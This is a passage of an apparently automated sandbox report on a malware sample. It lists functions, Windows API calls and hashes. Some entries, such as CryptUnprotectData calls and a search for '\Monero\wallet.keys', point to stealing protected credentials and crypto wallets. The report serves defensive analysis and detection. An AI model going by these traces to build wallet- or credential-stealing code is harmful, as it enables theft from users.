Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 99d795aa081f952da4419d6a83eebd56b7260504a438dbdf590fe8dade146704
Instruction ID: e6a7247b2f4171053037571e1bd9af21e4bc44b1d1c706de1f2d714ed24c43ea
Opcode Fuzzy Hash: 99d795aa081f952da4419d6a83eebd56b7260504a438dbdf590fe8dade146704
Instruction Fuzzy Hash: A6315071901118EBCB18DF94CC45FEEB778FB45700F1081A9A51EE2194DB34AA45CFA2

Function 00878EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00865184,40000001,00000000,00000000,?,00865184), ref: 00878EC0

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 88ab0878ef3aaa84ca77a2b39864a3e1288aef8876f8e3a1659ef64afa4c17be
Instruction ID: c5ccdd1730b768b41e12a76f03427213b7a39cb99679b3193ca9882ff03394d5
Opcode Fuzzy Hash: 88ab0878ef3aaa84ca77a2b39864a3e1288aef8876f8e3a1659ef64afa4c17be
Instruction Fuzzy Hash: 03110671240209EFDB00CFA4E888FAA37A9FF8A714F10D448F919CB254DB35E881DB61

Function 00869AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00864EEE,00000000,00000000), ref: 00869AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00864EEE,00000000,?), ref: 00869B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00864EEE,00000000,00000000), ref: 00869B2A
LocalFree.KERNEL32(?,?,?,?,00864EEE,00000000,?), ref: 00869B3F

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: c6710bc813351d657423686e1f01ec57f63117c05ecd32f8ca7c0303ace06805
Instruction ID: 8a8a88926457c311d95566f1452f08e071a9231b167e1cf2de52f3941c8cea1e
Opcode Fuzzy Hash: c6710bc813351d657423686e1f01ec57f63117c05ecd32f8ca7c0303ace06805
Instruction Fuzzy Hash: FF11A4B4240209AFEB10CFA4DC95FAA77B9FB89B10F208058F9159B3D4C775A901DB50

Function 00877980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00880E00,00000000,?), ref: 008779B0
RtlAllocateHeap.NTDLL(00000000), ref: 008779B7
GetLocalTime.KERNEL32(?,?,?,?,?,00880E00,00000000,?), ref: 008779C4
wsprintfA.USER32 ref: 008779F3

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 6d042e62e9d68f9fa05de7085366b2c73a492a3f8f8d8847fb739fde4848bf48
Instruction ID: f775cf0ffdaabd9cc9cd0959dd4bab4834ca33ae5565f36a08a482ae164f3d54
Opcode Fuzzy Hash: 6d042e62e9d68f9fa05de7085366b2c73a492a3f8f8d8847fb739fde4848bf48
Instruction Fuzzy Hash: 221115B2904219AACB14DFC9DD45BBEB7F8FB4DB11F10421AF605A2280E3395941CBB1

Function 00877A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0116E4C8,00000000,?,00880E10,00000000,?,00000000,00000000), ref: 00877A63
RtlAllocateHeap.NTDLL(00000000), ref: 00877A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0116E4C8,00000000,?,00880E10,00000000,?,00000000,00000000,?), ref: 00877A7D
wsprintfA.USER32 ref: 00877AB7

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 79125508ec75bac019dd6d8979735a9cce8ae2a5f1773cc3cbb51b3cd703bb8a
Instruction ID: d28e746ef53af73a73496f24fd29f26f83de2accdcd52e4a968bd29c2d601814
Opcode Fuzzy Hash: 79125508ec75bac019dd6d8979735a9cce8ae2a5f1773cc3cbb51b3cd703bb8a
Instruction Fuzzy Hash: 0F117CB1945228EBEB20CF54DC49FA9B7B8FB05721F1046DAE91AA32D0C7785A40CF91

Function 00873720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0087E118,00000000,00000001,0087E108,00000000), ref: 00873758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 008737B0

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 3e8a21b5f562d8040f93b1629276958d4e8599fd06896dfdb39d39adaeeaf037
Instruction ID: ceea93911e2f653c3af64640764d1736216fe00dddb1f2bc1d54132554af2583
Opcode Fuzzy Hash: 3e8a21b5f562d8040f93b1629276958d4e8599fd06896dfdb39d39adaeeaf037
Instruction Fuzzy Hash: A941FB70A40A289FDB24DB58CC95B9BB7B4FB48702F4081D8E618E72D0D771AE85CF51

Function 00869B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00869B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00869BA3
LocalFree.KERNEL32(?), ref: 00869BD3

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 8cbbd8b792f288ca71d4e728435c7bcb6a74c4059f1ee5b0dd129d883f728ee6
Instruction ID: 60999796f28a51cdb502bd943e9ce309b6390f3e35a396756951e050425fafa1
Opcode Fuzzy Hash: 8cbbd8b792f288ca71d4e728435c7bcb6a74c4059f1ee5b0dd129d883f728ee6
Instruction Fuzzy Hash: 9711CCB4A00209DFDB04DF94D985AAE77F9FF89300F104558E91597390D774AE11CFA1

Function 00C380B8 Relevance: 4.1, Strings: 2, Instructions: 1566COMMON

Download Yara Rule

Strings

Z.sm, xrefs: 00C383F1
<4x, xrefs: 00C38B13

Memory Dump Source

Source File: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID: <4x$Z.sm
API String ID: 0-3651259717
Opcode ID: 383fabea9398a5bd957e534171df4e130885795de81da6c31d6325eb211a13df
Instruction ID: 0ad7a61f1c2476f794d371fbdee36065356f1ef4cea6d024f87061c231467628
Opcode Fuzzy Hash: 383fabea9398a5bd957e534171df4e130885795de81da6c31d6325eb211a13df
Instruction Fuzzy Hash: 16B217F3A0C204AFE3046E29EC8567AF7E9EF94760F16893DE6C483744EA3558058797

Function 00B990D6 Relevance: 2.7, Strings: 2, Instructions: 197COMMON

Download Yara Rule

Strings

f#j/, xrefs: 00B9926D
qq?}, xrefs: 00B99201

Memory Dump Source

Source File: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID: f#j/$qq?}
API String ID: 0-2737718938
Opcode ID: 46898fa27f32660b7bac63a27112f3826d531c422b7e1dae10e8c15dc43ab1e7
Instruction ID: 613d20a94f9531bec88ac594689c1f6a609d48fefcff346350ad80b71b5ede7e
Opcode Fuzzy Hash: 46898fa27f32660b7bac63a27112f3826d531c422b7e1dae10e8c15dc43ab1e7
Instruction Fuzzy Hash: 2F5123B3A087048FE3106E29CC8537ABBD6EFD4711F2B853DD6C887784EA3959068746

Function 0086F68A Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Part of subcall function 0087A920: lstrcpy.KERNEL32(00000000,?), ref: 0087A972
Part of subcall function 0087A920: lstrcat.KERNEL32(00000000), ref: 0087A982

Part of subcall function 0087A9B0: lstrlen.KERNEL32(?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 0087A9C5
Part of subcall function 0087A9B0: lstrcpy.KERNEL32(00000000), ref: 0087AA04
Part of subcall function 0087A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0087AA12

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,008815B8,00880D96), ref: 0086F71E
StrCmpCA.SHLWAPI(?,008815BC), ref: 0086F76F
StrCmpCA.SHLWAPI(?,008815C0), ref: 0086F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0086FAB1
FindClose.KERNEL32(000000FF), ref: 0086FAC3

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 84c4c0165d4302b2349ea7859549a4bdb80ccc2ee8b196465ca76ef865a517b7
Instruction ID: e4d0a8edf3e2105160cd3fc81fb1d68c8c242e9db9be55c3c0f285345674e26d
Opcode Fuzzy Hash: 84c4c0165d4302b2349ea7859549a4bdb80ccc2ee8b196465ca76ef865a517b7
Instruction Fuzzy Hash: 8E1163318001599BDB18EBA4DC959EE7378FB50300F4082A5A52ED6096EF306B4ACB53

Function 00BBCE5B Relevance: 1.5, Strings: 1, Instructions: 228COMMON

Download Yara Rule

Strings

rq=, xrefs: 00BBD0B7

Memory Dump Source

Source File: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID: rq=
API String ID: 0-3145165390
Opcode ID: a0eca6a029677fc40a0e39b8a8d203a5d0176beecc3a176bae95ff33583d9d7a
Instruction ID: 7ae52fc82c7480d5e288126db2072ea2e4f715df2fce8cb9ac5f7ef27547a7f2
Opcode Fuzzy Hash: a0eca6a029677fc40a0e39b8a8d203a5d0176beecc3a176bae95ff33583d9d7a
Instruction Fuzzy Hash: F27114B39087149FE314AE2DDC4576AFBE5EB90720F1A8A2DE9C8D7784E93548418783

Function 00BCA9B8 Relevance: 1.5, Strings: 1, Instructions: 221COMMON

Download Yara Rule

Strings

8+, xrefs: 00BCAA83

Memory Dump Source

Source File: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 8+
API String ID: 0-2599851556
Opcode ID: 8335cf130ff19245e35ef1d8efb864d1148381becf150896393c34c23b75d8a6
Instruction ID: a1f1ca8f73863aeef3c908205f591c16339b68421a2368eec420e5b170f63adc
Opcode Fuzzy Hash: 8335cf130ff19245e35ef1d8efb864d1148381becf150896393c34c23b75d8a6
Instruction Fuzzy Hash: 3A71F8F3A086009FE318AF19DC8577AB7D5EF94320F2A853DEAC497740EA359D418786

Function 00B5C93D Relevance: 1.4, Strings: 1, Instructions: 198COMMON

